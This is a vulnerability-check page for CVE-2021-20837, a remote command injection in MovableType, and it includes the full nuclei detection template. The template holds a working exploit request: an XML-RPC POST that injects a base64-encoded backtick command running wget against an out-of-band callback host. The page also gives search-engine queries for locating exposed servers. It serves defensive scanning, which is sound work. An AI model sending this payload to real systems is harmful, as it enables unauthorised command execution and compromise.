MovableType - Remote Command Injection

criticalseverity

9.8CVSS score

88.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

MovableType 5002 and earlier (Movable Type Advanced 7 Series), Movable Type Advanced 6.8. 2 and earlier (Movable Type Advanced 6 Series), Movable Type Premium 1.46 and earlier, and Movable Type Premium Advanced 1.46 and earlier allow remote attackers to execute arbitrary OS commands via unspecified vectors.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.

Fix

Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability in MovableType.

How to confirm it

Send: POST /cgi-bin/mt/mt-xmlrpc.cgi
Positive when: contains in interactsh_protocol "http" AND contains "failed loading package" AND status 200

Run it with nuclei: nuclei -id CVE-2021-20837 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-20837

info:
  name: MovableType - Remote Command Injection
  author: dhiyaneshDK,hackergautam
  severity: critical
  description: MovableType 5002 and earlier (Movable Type Advanced 7 Series), Movable Type Advanced 6.8. 2 and earlier (Movable Type Advanced 6 Series), Movable Type Premium 1.46 and earlier, and Movable Type Premium Advanced 1.46 and earlier allow remote attackers to execute arbitrary OS commands via unspecified vectors.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability in MovableType.
  reference:
    - https://nemesis.sh/posts/movable-type-0day/
    - https://github.com/ghost-nemesis/cve-2021-20837-poc
    - https://twitter.com/cyber_advising/status/1454051725904580608
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20837
    - http://packetstormsecurity.com/files/164818/Movable-Type-7-r.5002-XMLRPC-API-Remote-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-20837
    cwe-id: CWE-78
    epss-score: 0.88144
    epss-percentile: 0.99768
    cpe: cpe:2.3:a:sixapart:movable_type:*:*:*:*:premium:*:*:*
  metadata:
    max-request: 1
    vendor: sixapart
    product: movable_type
    shodan-query:
      - http.title:"サインイン | movable type pro"
      - cpe:"cpe:2.3:a:sixapart:movable_type"
    fofa-query: title="サインイン | movable type pro"
    google-query: intitle:"サインイン | movable type pro"
  tags: cve2021,cve,packetstorm,rce,movable,sixapart,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0" encoding="UTF-8"?>
        <methodCall>
          <methodName>mt.handler_to_coderef</methodName>
          <params>
            <param>
              <value>
                <base64>
                  {{base64("`wget http://{{interactsh-url}}`")}}
                </base64>
              </value>
            </param>
          </params>
        </methodCall>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "failed loading package"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from